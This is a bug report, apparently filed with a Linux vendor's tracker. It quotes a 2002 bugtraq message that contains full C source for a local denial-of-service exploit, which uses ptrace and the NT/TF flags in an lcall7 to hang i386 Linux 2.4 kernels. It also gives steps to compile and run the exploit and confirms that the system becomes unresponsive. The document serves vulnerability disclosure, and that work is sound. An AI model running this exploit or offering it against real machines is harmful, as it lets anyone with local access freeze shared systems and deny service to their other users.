Description of Problem:
As was posted on the bugtraq[@securityfocus.com] mailing list:
"
From: Christophe Devine <DEVINE.fr>
To: bugtraq
Date: Wed, 13 Nov 2002 00:59:09 +0000
Subject: Re: i386 Linux kernel DoS


On Wed, 13 Nov 2002, Stefan Laudat wrote:

> Regarding this issue: is it 80x86 or specifically 80386 designed ?
> Been trying it on AMD Duron, AMD Athlon MP, Intel i586 - just segfaults :(

Yep; the first version of the DoS I posted on bugtraq was defective and
worked only under special conditions (inside gdb for example).

However this updated version works much better:

#include <sys/ptrace.h>

struct user_regs_struct {
        long ebx, ecx, edx, esi, edi, ebp, eax;
        unsigned short ds, __ds, es, __es;
        unsigned short fs, __fs, gs, __gs;
        long orig_eax, eip;
        unsigned short cs, __cs;
        long eflags, esp;
        unsigned short ss, __ss;
};

int main( void )
{
    int pid;
    char dos[] = "\x9A\x00\x00\x00\x00\x07\x00";
    void (* lcall7)( void ) = (void *) dos;
    struct user_regs_struct d;

    if( ! ( pid = fork() ) )
    {
        usleep( 1000 );
        (* lcall7)();
    }
    else
    {
        ptrace( PTRACE_ATTACH, pid, 0, 0 );
        while( 1 )
        {
            wait( 0 );
            ptrace( PTRACE_GETREGS, pid, 0, &d );
            d.eflags |= 0x4100; /* set TF and NT */
            ptrace( PTRACE_SETREGS, pid, 0, &d );
            ptrace( PTRACE_SYSCALL, pid, 0, 0 );
        }
    }

    return 1;
}

At the beginning I thought only kernels <= 2.4.18 were affected; but it
appeared that both kernels 2.4.19 and 2.4.20-rc1 are vulnerable as well.
The flaw seems to be related to the kernel's handling of the nested task
(NT) flag inside a lcall7.

--
Christophe Devine
"

This exploit compiles and works on my up2date-ed system with the latest kernel.

Version-Release number of selected component (if applicable):
kernel-2.4.18-17.8.0


How Reproducible:
Always

Steps to Reproduce:
1. Save exploit to verybad.c
2. gcc verybad.c -o crash
3. ./crash

Actual Results:
System unresponsive, although pingable.

Expected Results:
Segmentation fault or something.

Additional Information: